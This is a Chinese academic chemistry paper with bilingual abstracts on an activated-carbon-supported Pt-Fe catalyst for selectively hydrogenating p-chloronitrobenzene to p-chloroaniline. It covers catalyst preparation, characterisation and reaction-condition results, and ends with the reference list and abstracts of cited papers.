活性炭负载Pt-Fe双金属催化剂催化对氯硝基苯选择性加氢

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谷牧, 何代平, 江平, 尹兴春, 陈虎. 活性炭负载Pt-Fe双金属催化剂催化对氯硝基苯选择性加氢[J]. 应用化学, 32(10): 1164-1169
GU Mu, HE Daiping, JIANG Ping, et al. Selective Hydrogenation of p-Chloronitrobenzene Catalyzed by Activated Carbon Supported Fe-Pt Bimetallic Catalyst [J]. Chinese Journal of Applied Chemistry, 32(10): 1164-1169 复制到剪切板

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活性炭负载Pt-Fe双金属催化剂催化对氯硝基苯选择性加氢

谷牧^a, 何代平^a,^b,^*, 江平^a, 尹兴春^a, 陈虎^a

重庆师范大学^a化学学院

^b物理与电子工程学院光电功能材料重庆市重点实验室重庆 400047

通讯联系人:何代平,教授; Tel:023-65910309; Fax:023-65362777; E-mail:hedaiping@126.com; 研究方向:催化新材料与绿色催化

收稿日期:2015-03-09 修回日期:2015-04-24 接受日期:2015-06-01

基金:重庆市基础与前沿研究计划(cstc2013jcyjA50006)、重庆市教委科学技术研究项目(KJ110621)、重庆师范大学重点基金(12XLZ12,10XLR021)资助;

摘要

采用浸渍还原法制备了活性炭负载Pt-Fe双金属催化剂(Pt-Fe/AC),考察了其催化对氯硝基苯加氢性能。与Pt/AC催化剂比较,该催化剂对催化对氯硝基苯加氢表现出高活性和优异的抑制脱氯性能,在乙醇为溶剂、催化剂Pt_0.003-Fe_0.04/AC(下标为元素在催化剂中的质量分数)用量为0.02 g/g对氯硝基苯、1 MPa H₂和30 ℃条件下反应150 min,对氯硝基苯完全转化为对氯苯胺,而且即使在较高的反应温度和H₂压力下,脱氯反应也得到了完全抑制。采用X射线衍射(XRD)、透射电子显微镜(TEM)及X射线光电子能谱(XPS)等技术手段对Pt-Fe/AC催化剂进行了表征。结果表明,Pt、Fe高度分散在活性炭上,Pt与Fe之间的相互作用对纳米Pt粒子的电子结构有一定的调变作用,使纳米Pt处于缺电子态,减弱了Pt与对氯苯胺苯环之间的电子反馈,这可能是Pt-Fe/AC对催化对氯硝基苯加氢表现出高活性和优异的抑制脱氯性能的主要因素。

关键词: 选择性加氢; 活性炭; 铂铁双金属; 氯代硝基苯; 氯代苯胺

中图分类号:O643 文献标志码:A 文章编号:1000-0518(2015)10-1164-06

Selective Hydrogenation of p-Chloronitrobenzene Catalyzed by Activated Carbon Supported Fe-Pt Bimetallic Catalyst

GU Mu^a, HE Daiping^a,^b, JIANG Ping^a, YIN Xingchun^a, CHEN Hu^a

^aCollege of Chemistry

^bChongqing Key Laboratory of Photoelectric Functional Materials,College of Physics and Electronic Engineering,Chongqing Normal University,Chongqing 400047,China

Corresponding author:HE Daiping, professor; Tel:023-65910309; Fax:023-65362777; E-mail:hedaiping@126.com; Research interests:new catalyst and green catalysis

Reveived:2015-03-09 Revised:2015-04-24 Accepted:2015-06-01

Fund:Supported by the Foundation and Cutting-edge Research Plan of Chongqing(No.cstc2013jcyjA50006), Scientific and Technological Research Program of Chongqing Municipal Education Commission(No.KJ110621), Key Fund of Chongqing Normal University(No.10XLR021, No.11XB009); }

Abstract

An activated carbon supported Pt-Fe bimetallic catalyst(Pt-Fe/AC) was prepared by impregnation reduction method, and its catalytic performance for selective hydrogenation of p-chloronitrobenzene( p-CNB) to p-chloroaniline( p-CAN) was investigated. Compared with Pt/AC catalyst, the Pt-Fe/AC catalyst exhibited higher activity and excellent inhibition of dechlorination. One hundred percent selectivity towards p-CAN at complete conversion of p-CNB was achieved under the following conditions: 30 ℃ for 150 min, 1.0 MPa H₂, ethanol as solvent, and 0.02g Pt_0.003-Fe_0.04/AC catalyst(the lower case numbers represent the mass fraction of related metal in the catalyst) per gram p-CNB. The high selectivity towards p-CAN remained even at high temperature and H₂ pressure. The as-prepared catalysts were characterized using X-ray diffraction(XRD), transmission electron microscopy(TEM), and X-ray photoelectron spectroscopy(XPS). The results show that Pt and Fe are well dispersed on the AC surface. The higher activity and excellent selectivity of the Pt_0.003-Fe_0.04/AC are primarily derived from the electron-deficient state of Pt due to the electronic effect of Pt nanoparticles with Fe, which weakened the extent of electron feedback from Pt particles to the aromatic ring of p-CAN and suppressed the hydrodechlorination of p-CAN.

Keyword: selective hydrogenation; activated carbon; platinum iron bimetal; chloronitrobenzene; chloroaniline

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卤代苯胺是一类重要的有机中间体,广泛用于染料、医药和农药等的合成^[1]。目前,大部分卤代苯胺都是由卤代硝基苯还原制得,还原方法主要有铁粉还原法、硫化碱还原法和催化加氢还原法等。铁粉还原法和硫化碱还原法由于环境污染严重而逐渐被淘汰,催化加氢还原法工艺先进、能耗低、收率高、废物排放少、更符合现代化工对绿色化学和原子经济性的要求,受到人们广泛关注^[2]。

卤代硝基苯加氢催化剂主要有贵金属催化剂、骨架镍催化剂及非晶态合金催化剂。贵金属催化剂活性高,选择性较好,反应条件温和,研究比较广泛^[3,4,5,6]。在贵金属中,Pt具有较好的催化卤代硝基苯加氢反应性能,受到学术、工业界的普遍关注^{[7,8,9,10,11]}。

卤代硝基苯的加氢还原是一个复杂过程(Scheme 1)^[12],除发生生成目标产物卤代苯胺的反应外,还会产生生成卤代亚硝基苯、卤代苯基羟胺、氧化偶氮二卤代苯、偶氮二卤代苯等副反应,尤其碳-卤键的氢解反应,产生苯胺和氢卤酸,不仅使卤代苯胺的收率减少,纯度降低,而且对设备造成腐蚀。为防止脱卤,通常采用两种方法:一是加入脱卤抑制剂^[13],这些添加剂通常是碱或其它给电子化合物,通过与金属粒子的相互作用改变了催化剂的某种性能,从而提高了反应的选择性,但加入脱卤抑制剂会给产品分离带来困难,需要额外的步骤处理液体废物;二是对催化剂进行适当的处理,通过改变贵金属粒子的尺寸^[14],将贵金属与其它金属形成合金或选择适当的载体等方法提高反应的选择性^[15,16,17]。最近, Mahata等^[18]向Pt/AC中加入第二种金属Cu,用来催化对氯硝基苯加氢反应,发现当在Pt/AC催化剂中加入Cu后,反应的活性和对氯苯胺选择性均明显提高(>99%),并且稳定性大大增强,但仍不能完全避免脱氯。本文研究了活性炭负载Pt-Fe双金属催化剂催化对氯硝基苯加氢合成对氯苯胺性能,获得了良好的结果。

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	Scheme 1 The hydrogenation reaction pathways of p-chloronitrobenzene

1 实验部分

1.1 仪器和试剂

XRD-6100型X射线衍射仪(日本Shimadzu公司);JEM-2010型透射电子显微镜(日本电子株式会社);PHI-5300 ESCA型X射线光电子能谱仪(美国PE-PHI公司);带聚四氟乙烯内衬的不锈钢反应釜(江苏海安县石油科研仪器有限公司);AI-708P型智能控温仪(厦门宇电自动化科技有限公司);GC9890型气相色谱仪(上海灵华仪器有限公司)。活性炭(AC),分析纯,重庆川东化工有限公司;氯铂酸(含Pt质量分数≥37.5%)(昆明贵金属研究所),分析纯;硝酸铁(成都科龙化学试剂有限公司),分析纯;对氯硝基苯(成都艾科达化学试剂有限公司),化学纯;乙醇(重庆川东化工有限公司),分析纯。

1.2 催化剂制备

将一定量(0.058~0.071 mm,比表面积219.6 m²/g)的活性炭加入到二次蒸馏水中,搅拌30 min后,抽滤,反复3次,105 ℃干燥10 h,在流动空气中250 ℃焙烧3 h。

先后将处理后的AC和理论计算量的硝酸铁水溶液加入到一定量的二次蒸馏水中,搅拌24 h后,逐滴加入一定量的氯铂酸水溶液,继续搅拌40 h,逐滴加入10 mL新配制的0.5 mol/L NaBH₄水溶液,搅拌10 h,抽滤、洗涤至无Cl^-为止(用AgNO₃检测),所得样品在110 ℃下干燥10 h,300 ℃流动N₂中焙烧5 h,得到Pt-Fe/AC催化剂。

1.3 催化剂表征

采用X射线衍射仪进行物相分析,Cu Kα射线,入射波长0.15418 nm,管电压40 kV,管电流40 mA,扫描范围2 θ=20°~80°,扫描速率0.02°/s。催化剂粒子的分布状态用透射电子显微镜观察,加速电压200 kV。 Pt_0.003-Fe_0.04/AC(下标为元素在催化剂中的质量分数)催化剂样品中Pt4 f、Fe2 p的结合能采用X射线光电子能谱仪测定。 Al/Mg双阳极靶,主真空室真空度1.33×10^-8 Pa,分辨率0.8 eV。采用C1 s的结合能285.0 eV对Pt4 f、Fe2 p的结合能进行校正。 Pt、Fe的实际负载量采用电感耦合等离子体发射光谱(ICP-AES)分析。

1.4 催化剂性能评价

在60 mL带聚四氟乙烯内衬的不锈钢反应釜中,加入一定量的对氯硝基苯、催化剂和反应介质,关闭反应釜,N₂气置换空气2次,H₂气置换3次,通入H₂气至一定压力,将反应釜置于设定温度的加热仪中,开启搅拌,反应一定时间后取出,放入冰水中使反应迅速停止,冷却后打开反应釜,加入一定量的内标物邻二甲苯,混合后离心分离,离心液用气相色谱分析,FID检测。

2 结果与讨论

2.1 XRD和TEM分析

图1为载体AC和催化剂Pt_0.003-Fe_0.04/AC(Pt、Fe的实际负载量分别为0.00287和0.0372)的XRD谱图。由图1可以看出,载体AC和催化剂Pt_0.003-Fe_0.04/AC的XRD谱图中2 θ=25.3°和42.9°处分别有两个宽衍射峰,此为活性炭石墨化的特征峰^[19]。 39.7°、46.2°、67.5°附近可归属为Pt(111)、Pt(200)、Pt(220)晶面的衍射峰^[20]和44.4°处对应Fe(110)晶面的衍射峰^[21],在Pt_0.003-Fe_0.04/AC催化剂的XRD谱图中没有被观察到,这可能是Pt、Fe以高分散形式存在于催化剂中,所以观察不到有关Pt、Fe的XRD特征峰。对TEM照片分析可得,催化剂表面的Pt、Fe晶粒大小在5 nm以下(图2),高度分散在活性炭上,这与XRD分析结果是一致的。

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	图1 AC( a)和Pt_0.003-Fe_0.04/AC( b)的XRD谱图Fig.1 XRD patterns of AC( a) and Pt_0.003-Fe_0.04/AC( b)

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	图2 Pt_0.003-Fe_0.04/AC催化剂的TEM照片Fig.2 TEM image of Pt_0.003-Fe_0.04/AC catalyst

2.2 XPS分析

图3给出了Pt_0.003-Fe_0.04/AC催化剂中Pt4 f和Fe2 p的XPS谱图。从图3可以看出,Pt4 f_7/2、4 f_5/2的结合能分别为71.6、74.9 eV,对应的是金属态Pt(Pt⁰)的结合能,与本体金属态Pt相比(4 f_7/2、4 f_5/2的结合能分别为71.0、74.3 eV)^[22,23]结合能高0.6 eV。 Fe2 p_3/2、2 p_1/2的结合能分别为711.1、724.3 eV,该值接近Fe₃O₄的结合能(Fe₃O₄中Fe2 p_3/2、2 p_1/2的结合能分别为711.4、724.6 eV)^[24]。表明Pt与Fe之间的相互作用对纳米Pt粒子的电子结构有一定的调变作用,使纳米Pt处于缺电子态。

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	图3 Pt_0.003-Fe_0.04/AC催化剂的Pt4 f( a)和Fe2 p( b)的XPS谱图Fig.3 XPS spectra of Pt4 f( a) and Fe2 p( b) in Pt_0.003-Fe_0.04/AC catalyst

2.3 Pt-Fe/AC的催化性能

表1为不同Fe含量的Pt_0.003-Fe/AC催化对氯硝基苯( p-CNB)加氢反应结果,由表1可见,在相同反应条件下,添加Fe后,明显提高了 p-CNB转化率,并提高了对氯苯胺( p-CAN)的选择性。当催化剂中Fe的质量分数( w)由0增加到4%时, p-CNB转化率由21.6%提高到37.4%; p-CAN选择性由83.4%提高到92.6%。在增加Fe含量的过程中,随着Fe含量的增加, p-CNB转化率和 p-CAN选择性逐渐升高;当 w(Fe)=4%时, p-CNB转化率和 p-CAN选择性均达到最大值。但当 w(Fe)>4%时, p-CNB转化率和 p-CAN选择性开始下降。因此,在Pt_0.003/AC催化剂中添加Fe时, w(Fe)=4%是适宜的添加量。王远等^[25]用胶体 γ-Fe₂O₃捕获纳米Pt制备了Pt/ γ-Fe₂O₃催化剂,将其催化邻氯硝基苯加氢,显示了较好的活性和选择性(在常温、常压下,邻氯硝基苯的转化率达100%,邻氯苯胺的选择性大于99%)。他们认为催化剂中纳米 γ-Fe₂O₃是抑制脱氯的主要原因,Pt粒子负载在 γ-Fe₂O₃上所处的缺电子状态减弱了Pt与邻氯苯胺苯环之间的电子反馈,因此抑

表1 Pt-Fe/AC催化对氯硝基苯选择加氢 Table 1 Selective hydrogenation of p-CNB over Pt-Fe/AC catalysts

制了邻氯苯胺的加氢脱氯。基于不同Fe含量的Pt_0.003-Fe/AC催化 p-CNB加氢反应数据和表征分析的结果,推测Pt_0.003-Fe_0.04/AC催化 p-CNB加氢具有高的活性和优异的抑制脱氯性能,主要是适量Fe对纳米Pt粒子的电子结构的调变作用,使纳米Pt处于缺电子态,减弱了Pt与 p-CAN苯环之间的电子反馈,从而抑制了 p-CAN的加氢脱氯。

2.4 反应温度的影响

反应温度对Pt_0.003-Fe_0.04/AC催化p-CNB加氢反应的影响见表2。由表2可见,反应温度对Pt_0.003-Fe_0.04/AC催化p-CNB加氢反应性能影响较大。在1.0 MPa 氢气条件下,当反应温度从30 ℃升至50 ℃时, p-CNB的转化率从37.4%增至70.6%,增加了近1倍, p-CAN的选择性由92.6%增至96.3%,这主要是因为中间产物对氯亚硝基苯、4,4'-二氯氧化偶氮苯和4,4'-二氯偶氮苯进一步转化为目标产物 p-CAN。进一步提高反应温度至60 ℃, p-CNB转化率和p-CAN选择性变化均不显著。因此,Pt_0.003-Fe_0.04/AC催化 p-CNB加氢制 p-CAN较适宜的反应温度为50 ℃。

表2 反应温度对Pt_0.003-Fe_0.04/AC催化性能的影响 Table 2 Effect of reaction temperature on catalytic performance of Pt_0.003-Fe_0.04/AC

2.5 H₂压力的影响

H₂压力对Pt_0.003-Fe_0.04/AC催化 p-CNB加氢反应的影响见表3。由表3可以看出,H₂压力对Pt_0.003-Fe_0.04/AC催化p-CNB加氢活性和选择性有显著的影响。当H₂压力由0.5 MPa增至3.0 MPa时, p-CNB转化率由18.0%增至92.4%, p-CAN选择性由92.2%增至94.5%。可见,较高的H₂压力对Pt_0.003-Fe_0.04/AC催化 p-CNB加氢制 p-CAN有利。

表3 氢气压力对Pt_0.003-Fe_0.04/AC 催化性能的影响 Table 3 Effect of H₂ pressure on catalytic performance of Pt_0.003-Fe_0.04/AC

2.6 反应时间的影响

表4为Pt_0.003-Fe_0.04/AC催化 p-CNB加氢性能随反应时间的变化。由表4可看出,在30 ℃、1 MPa H₂条件下,随着反应时间延长, p-CNB转化率和 p-CAN选择性均升高。当反应150 min时, p-CNB完全转化为 p-CAN,没有检测到脱氯副产物。进一步考察了在较高的温度、H₂压力(60 ℃、3 MPa)条件下Pt_0.003-Fe_0.04/AC催化 p-CNB加氢性能。由表4可看出,在60 ℃、3 MPa H₂条件下反应30 min, p-CNB完全转化为 p-CAN。继续延长反应时间至40 min,也没有检测到脱氯副产物,表明Pt_0.003-Fe_0.04/AC催化 p-CNB加氢制 p-CAN,脱氯反应得到了完全的抑制。

表4 反应时间对Pt_0.003-Fe_0.04/AC 催化性能的影响 Table 4 Effect of reaction time on catalytic performance of Pt_0.003-Fe_0.04/AC

3 结论

添加适量的Fe可显著提高Pt/AC催化对氯硝基苯制对氯苯胺反应的活性和选择性,脱氯反应得到完全的抑制。 Fe含量对Pt-Fe/AC催化剂的催化性能有显著的影响,当Fe含量为4%时,催化剂活性、对氯苯胺选择性均达到最佳值。 Fe添加提高了Pt/AC催化对氯硝基苯加氢性能,主要可能是Pt与Fe之间的相互作用对Pt纳米粒子的电子结构的调变作用,使纳米Pt处于缺电子态,减弱了Pt与对氯苯胺苯环之间的电子反馈,从而抑制了对氯苯胺的加氢脱氯。 50 ℃、较高的H₂压力是Pt_0.003-Fe_0.04/AC催化 p-CNB加氢制 p-CAN较适宜的反应条件。

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[9]	Cheng H Y, Xu C Y, Meng X C, et al. Polyethylene Glycol-stabilized Platinum Nanoparticles: The Efficient and Recyclable Catalysts for Selective Hydrogenation of o-Chloronitrobenzene to o-Chloroaniline[J]. J Colloid Interface Sci, 2009, 336(2): 675-678. [本文引用:1]
[10]	WANG Ya'nan, YANG Yuxia, LI Yongwen, et al. Preparation of Fe₃O₄ Modified Pt-Ru/C Nanocatalysts and Their Catalytic Properties for the Selective Hydrogenation of ortho-Chloronitrobenzene under Solvent-free Conditions[J]. Acta Phys-Chim Sin, 2013, 29(10): 2239-2244(in English). 王亚南, 杨玉霞, 李永文, 等. Fe₃O₄修饰的Pt-Ru/C纳米催化剂的制备及其在无溶剂条件下邻氯硝基苯选择性加氢的催化性能[J]. 物理化学学报, 2013, 29(10): 2239-2244. [本文引用:1]
[11]	Pietrowski M, Wojciechowska M. The Origin of Increased Chemoselectivity of Platinum Supported on Magnesium Fluoride in the Hydrogenation of Chloronitrobenzene[J]. Catal Today, 2011, 169(1): 217-222. [本文引用:1]
[12]	He D P, Jiao X D, Jiang P, et al. An Exceptionally Active and Selective Pt Au/TiO₂ Catalyst for Hydrogenation of the Nitro Group in Chloronitrobenzene[J]. Green Chem, 2012, 14(1): 111-116. [本文引用:1]
[13]	GUO Fang, LYU Lianhai. Recent Progress in Selective Catalytic Hydrogenation of Chloronitrobenzene to Chloroaniline[J]. Chinese Chem Ind Prog, 2007, 26(1): 1-6(in Chinese). 郭方, 吕连海. 氯代硝基苯催化加氢制备氯代苯胺的研究进展[J]. 化工进展, 2007, 26(1): 1-6. [本文引用:1]
[14]	Liu M H, Bai Q, Xiao H L, et al. Selective Hydrogenation of o-Chloronitrobenzene over Tin Dioxide Supported Platinum-Ruthenium Bimetallic Nanocatalysts without Solvent[J]. Chem Eng J, 2013, 232: 89-95. [本文引用:1]
[15]	Coq B, Tijani A, Figu ras F. Influence of Alloying Platinum for the Hydrogenation of p-Chloronitrobenzene over PtM/Al₂O₃ Catalysts with M=Sn, Pb, Ge, Al, Zn[J]. J Mol Catal, 1992, 71(3): 317-333. [本文引用:1]
[16]	Coq B, Tijani A, Dutartre R, et al. Influence of Support and Metallic Precursor on the Hydrogenation of p-Chloronitrobenzene over Supported Platinum Catalysts[J]. J Mol Catal, 1993, 79(1/3): 253-264. [本文引用:1]
[17]	Jiang L, Gu H Z, Xu X Z, et al. Selective Hydrogenation of o-Chloronitrobenzene over Supported Pt and Pd Catalysts Obtained by Laser Vaporization Deposition of Bulk Metals[J]. J Mol Catal A: Chem, 2009, 310(1/2): 144-149. [本文引用:1]
[18]	Mahata N, Soares O S G P, Rodríguez-Ramos I, et al. Promotional Effect of Cu on the Structure and Chloronitrobenzene Hydrogenation Performance of Carbon Nanotube and Activated Carbon Supported Pt Catalysts[J]. Appl Catal A: Gen, 2013, 464/465: 28-34. [本文引用:1]
[19]	ZHU Hong, HAN Wenfeng, CHAI Haifang, et al. Preparation of Graphitic Carbon as Support of Ru-based Catalyst for Ammonia Synthesis[J]. Chinese J Catal, 2007, 28(3): 196-200(in Chinese). 朱虹, 韩文锋, 柴海芳, 等. Ru基氨合成催化剂石墨化炭载体的制备[J]. 催化学报, 2007, 28(3): 196-200. [本文引用:1]
[20]	WANG Yanen, CAO Shuang, TANG Yawen, et al. Electrocatalytic Performance of the Carbon-supported Pt-P Catalyst for Oxygen Reduction[J]. Chinese J Appl Chem, 2011, 28(1): 44-47(in Chinese). 王彦恩, 曹爽, 唐亚文, 等. 碳载Pt-P催化剂对氧还原的电催化性能[J]. 应用化学, 2011, 28(1): 44-47. [本文引用:1]
[21]	GONG Zhuqing, GONG Sheng, CHEN Baizhen, et al. Carbon Reduction Process in Preparation of Sponge Iron using Pyrite Cinder[J]. J Cent South Univ, 2006, 37(4): 703-707(in Chinese). 龚竹青, 龚胜, 陈白珍, 等. 用硫铁矿烧渣制取海绵铁的碳还原过程[J]. 中南大学学报, 2006, 37(4): 703-707. [本文引用:1]
[22]	Olsson L, Fridell E. The Influence of Pt Oxide Formation and Pt Dispersion on the Reactions NO₂⇔NO+1/2O₂ over Pt/Al₂O₃ and Pt/BaO/Al₂O₃[J]. J Catal, 2002, 210(2): 340-353. [本文引用:1]
[23]	SONG Aiying, LYU Gongxuan. Support Effect on the Catalytic Activity of Pt Catalysts in Catalytic Wet Air Oxidation of Methylamine[J]. Chinese J Mol Catal, 2014, 28(3): 242-250(in Chinese). 宋爱英, 吕功煊. 载体对Pt催化剂在一甲胺湿式氧化中的催化性能影响研究[J]. 分子催化, 2014, 28(3): 242-250. [本文引用:1]
[24]	Xu X S, Li X Q, Gu H Z, et al. A Highly Active and Chemoselective Assembled Pt/C(Fe) Catalyst for Hydrogenation of o-Chloronitrobenzene[J]. Appl Catal A: Gen, 2012, 429/430: 17-23. [本文引用:1]
[25]	Zhang J L, Wang Y, Ji H, et al. Magnetic Nanocomposite Catalysts with High Activity and Selectivity for Selective Hydrogenation of ortho-Chloronitrobenzene[J]. J Catal, 2005, 229(1): 114-118. [本文引用:1]

2007

0.0

... 卤代苯胺是一类重要的有机中间体,广泛用于染料、医药和农药等的合成^[1] ...

2001

0.0

... 铁粉还原法和硫化碱还原法由于环境污染严重而逐渐被淘汰,催化加氢还原法工艺先进、能耗低、收率高、废物排放少、更符合现代化工对绿色化学和原子经济性的要求,受到人们广泛关注^[2] ...

2010

0.0

... 贵金属催化剂活性高,选择性较好,反应条件温和,研究比较广泛^[3-6] ...

2012

0.0

2013

0.0

2014

0.0

... 贵金属催化剂活性高,选择性较好,反应条件温和,研究比较广泛^[3-6] ...

2009

0.0

MAO

Jianzhong

, YAN

Xinhuan

, GU

Huizi

, et al. Hydrogenation of o-Chloronitrobenzene by Platinum Nanoparticles on Activated Carbon[J]. Chinese J Catal, 2009, 30(3): 182-184(in Chinese).

毛建忠, 严新焕, 顾辉子, 等. 组合纳米Pt/C催化剂的邻氯硝基苯加氢性能[J]. 催化学报, 2009, 30(3): 182-184.

Pt nanoparticles were prepared by decomposing Pt2(dba)3 at H2 pressure of 0.5–2.0 MPa. The size of the Pt nanoparticles decreased from 11.5 to 2.8 nm with increasing decomposition pressure from 0.5 to 2.0 MPa. The catalyst decomposed at higher pressure exhibited higher activity and lower selectivity.

State Key Laboratory Breeding Base of Green Chemistry Synthesis Technology, Zhejiang University of Technology, Hangzhou 310014, Zhejiang, China

通过金属有机化合物Pt2(dba)3 (dba为二亚苄基丙酮)分解的方法, 制得了可溶性纳米Pt颗粒. 采用透射电子显微镜对其观察发现, 调节氢气分解压力可以控制Pt颗粒的大小. 将可溶性Pt纳米颗粒负载于活性炭上, 制得了粒径可控的Pt/C催化剂. 该催化剂用于邻氯硝基苯加氢反应时, 表现出非常高的催化性能. 在氢气分解压力为2.0 MPa时制备的0.5% Pt/C, 其Pt纳米粒径为2.8 nm左右, 在不加脱卤抑制剂、反应温度为60 oC和氢气压力为1.0 MPa的条件下, 脱卤率为1.6%, TOF达到39.8 s-1.

... 在贵金属中,Pt具有较好的催化卤代硝基苯加氢反应性能,受到学术、工业界的普遍关注^[7-11] ...

2012

0.0

2009

0.0

2013

0.0

WANG

Ya'nan

, YANG

Yuxia

, LI

Yongwen

, et al. Preparation of Fe₃O₄ Modified Pt-Ru/C Nanocatalysts and Their Catalytic Properties for the Selective Hydrogenation of ortho-Chloronitrobenzene under Solvent-free Conditions[J]. Acta Phys-Chim Sin, 2013, 29(10): 2239-2244(in English).

王亚南, 杨玉霞, 李永文, 等. Fe₃O₄修饰的Pt-Ru/C纳米催化剂的制备及其在无溶剂条件下邻氯硝基苯选择性加氢的催化性能[J]. 物理化学学报, 2013, 29(10): 2239-2244.

Aseries of Fe₃O₄-modified Pt-Ru/C nanocomposite catalysts were prepared by impregnation and hydrazine hydrate reduction of Pt and Ru precursors. Various Pt/Ru mass ratios of the catalysts were examined in terms of catalytic activity. They were characterized by transmission electron microscopic measurements (TEM), energy dispersive X-ray spectroscopy (EDX), X-ray photoelectron spectroscopy (XPS), and X-ray diffraction (XRD). The average diameters of the catalysts with different mass ratios of Pt/Ru were in a range of 2.2-2.5 nmwith narrowsize distributions. The valence states of the nanoparticles indicate strong interactions between the Pt and the carbon support or with Fe₃O₄. The XRDpatterns of the 8Pt-1Ru/Fe₃O₄/C, 6Pt-1Ru/Fe₃O₄/ C, 4Pt-1Ru/Fe₃O₄/C, and 2Pt-1Ru/Fe₃O₄/Ccatalysts have similar profiles, which are attributed to the cubic phase of pure Fe₃O₄ (i.e., no Pt or Ru present). These catalysts selectively hydrogenate ortho-chloronitrobenzene (o-CNB) to the corresponding ortho-chloroaniline (o-CAN) under solvent-free conditions that not only allowed high substrate concentrations promoting the hydrogenation reaction, but also enabled easy product separation and purification. They exhibited excellent catalytic activity (turnover frequency (TOF) range: 0.98-2.09 mol·mol^-1·s^-1) and up to 100% o-CAN selectivity, which was composition-dependent. The o-CAN yield selectivity monotonically increased with the proportion of Ru; however, the catalytic activity decreased. The high catalytic activity and selectivity of Pt-Ru/Fe₃O₄/Cnanoparticles are attributed to electron transfer between the two metals and Fe₃O₄.

1 Centre for Green Chemistry and Catalysis, Lanzhou Institute of Chemical Physics, Chinese Academy of Sciences, Lanzhou 730000, P. R. China;<br />2 University of Chinese Academy of Sciences, Beijing 100049, P. R. China;<br />3 Cold and Arid Regions Environmental and Engineering Research Institute, Chinese Academy of Sciences, Lanzhou 730000, P. R. China

采用浸渍法制备了一系列Pt/Ru质量比不同的Fe₃O₄修饰的Pt-Ru/Fe₃O₄/C催化剂, 运用透射电镜(TEM)、能量弥散X射线谱(EDX)、X射线光电子能谱(XPS)、X射线粉末衍射(XRD)等手段对Pt-Ru/Fe₃O₄/C一系列催化剂进行了表征, 并考察了Pt/Ru质量比不同对催化剂Pt-Ru/Fe₃O₄/C在无溶剂条件下催化邻氯硝基苯(o-CNB)选择性加氢制备邻氯苯胺(o-CAN)催化性能的影响. 研究结果表明, 催化剂的催化活性和对目标产物的选择性跟活性组分Pt、Ru比例有关. 随着Pt/Ru比例的减小, 目标产物o-CAN的选择性有所升高, 然而反应物o-CNB的转化率有所下降. 当Pt/Ru的质量比为2时, o-CNB的转化率降为76.5%, 而目标产物o-CAN的选择性仍然为100%. 与此同时, 我们还对Pt-Ru/Fe₃O₄/C催化剂高的催化活性和目标产物的高选择性可能的原因进行了分析.

2011

0.0

... 在贵金属中,Pt具有较好的催化卤代硝基苯加氢反应性能,受到学术、工业界的普遍关注^[7-11] ...

2012

0.0

... 卤代硝基苯的加氢还原是一个复杂过程(Scheme 1)^[12],除发生生成目标产物卤代苯胺的反应外,还会产生生成卤代亚硝基苯、卤代苯基羟胺、氧化偶氮二卤代苯、偶氮二卤代苯等副反应,尤其碳-卤键的氢解反应,产生苯胺和氢卤酸,不仅使卤代苯胺的收率减少,纯度降低,而且对设备造成腐蚀 ...

2007

0.0

GUO

Fang

, LYU

Lianhai.

Recent Progress in Selective Catalytic Hydrogenation of Chloronitrobenzene to Chloroaniline[J]. Chinese Chem Ind Prog, 2007, 26(1): 1-6(in Chinese).

郭方, 吕连海. 氯代硝基苯催化加氢制备氯代苯胺的研究进展[J]. 化工进展, 2007, 26(1): 1-6.

The recent progress in selective catalytic hydrogenation of chloronitrobenzene to chloroaniline is reviewed. The characteristic properties of platinum, palladium, ruthenium and nickel-based catalysts are summarized. The platinum-based catalysts have high activity and good selectivity, but Pt is very expensive and the hydrodechlorination side-reaction could not be fully suppressed; The palladium and nickle-based catalysts have very high activity, but the selectivity to chloroaniline is low with serious side-reaction. Amorphous alloy has good catalytic performance, while its stability has to be improved. The ruthenium-based catalysts have the highest selectivity at reasonable conversion, indicating a good potential for industrial application. Future research should focus on improving the activity of Ru-based catalyst.

State Key Laboratory of Fine Chemicals，School of Chemical Engineering，Dalian University of Technology

综述了近年来氯代硝基苯催化加氢制备氯代苯胺的研究进展。对铂基、钯基、钌基和镍基非均相催化剂的结构和催化性能进行了比较，讨论了催化剂助剂抑制脱氯副反应的机理。铂基催化剂活性和选择性较高，但是铂金属价格昂贵，且不能完全避免脱氯副反应；钯基和镍基催化剂活性好，但脱氯严重，通常需要引入脱氯抑制剂或使其形成非晶态合金提高产物的选择性；钌基催化剂的活性比铂基、钯基、镍基催化剂低，但选择性高，如何提高钌基催化剂的催化活性是今后的研究方向。

... 为防止脱卤,通常采用两种方法:一是加入脱卤抑制剂^[13],这些添加剂通常是碱或其它给电子化合物,通过与金属粒子的相互作用改变了催化剂的某种性能,从而提高了反应的选择性,但加入脱卤抑制剂会给产品分离带来困难,需要额外的步骤处理液体废物 ...

2013

0.0

... 二是对催化剂进行适当的处理,通过改变贵金属粒子的尺寸^[14],将贵金属与其它金属形成合金或选择适当的载体等方法提高反应的选择性^[15-17] ...

1992

0.0

... 二是对催化剂进行适当的处理,通过改变贵金属粒子的尺寸^[14],将贵金属与其它金属形成合金或选择适当的载体等方法提高反应的选择性^[15-17] ...

1993

0.0

2009

0.0

... 二是对催化剂进行适当的处理,通过改变贵金属粒子的尺寸^[14],将贵金属与其它金属形成合金或选择适当的载体等方法提高反应的选择性^[15-17] ...

2013

0.0

... 最近, Mahata等^[18]向Pt/AC中加入第二种金属Cu,用来催化对氯硝基苯加氢反应,发现当在Pt/AC催化剂中加入Cu后,反应的活性和对氯苯胺选择性均明显提高(#cod#x0003E ...

2007

0.0

ZHU

Hong

, HAN

Wenfeng

, CHAI

Haifang

, et al. Preparation of Graphitic Carbon as Support of Ru-based Catalyst for Ammonia Synthesis[J]. Chinese J Catal, 2007, 28(3): 196-200(in Chinese).

朱虹, 韩文锋, 柴海芳, 等. Ru基氨合成催化剂石墨化炭载体的制备[J]. 催化学报, 2007, 28(3): 196-200.

Activated carbon (AC)as a support of Ru-based catalyst for ammonia synthesis was graphitized at high temperature in argon and then oxidized with a O2-N2 mixture and HNO3. Its structure, texture, and surface oxygenous groups were investigated by N2-physisorption and temperature-programmed desorption. The results showed that the graphitization process could eliminate the carbon impurities and improve the support stability. However, after the thermal treatment, the specific surface area of AC decreased sharply, and its texture was destroyed. The surface area and porosity could be recovered partially by oxidation treatment with a O2-N2 mixture. In further treatment with HNO3, the amount of surface oxygenous groups was increased, and the surface polarity was transformed from hydrophobic to hydrophilic. HNO3 treatment led to a significant increase in the catalyst activity with an ammonia concentration in the exit being more than 19% (under the conditions of GHSV=10000 h-1, p=10 MPa, and θ=400 ℃). Thus, the AC graphitized at suitable temperature followed by oxidation with O2-N2 and HNO3 was a good support of 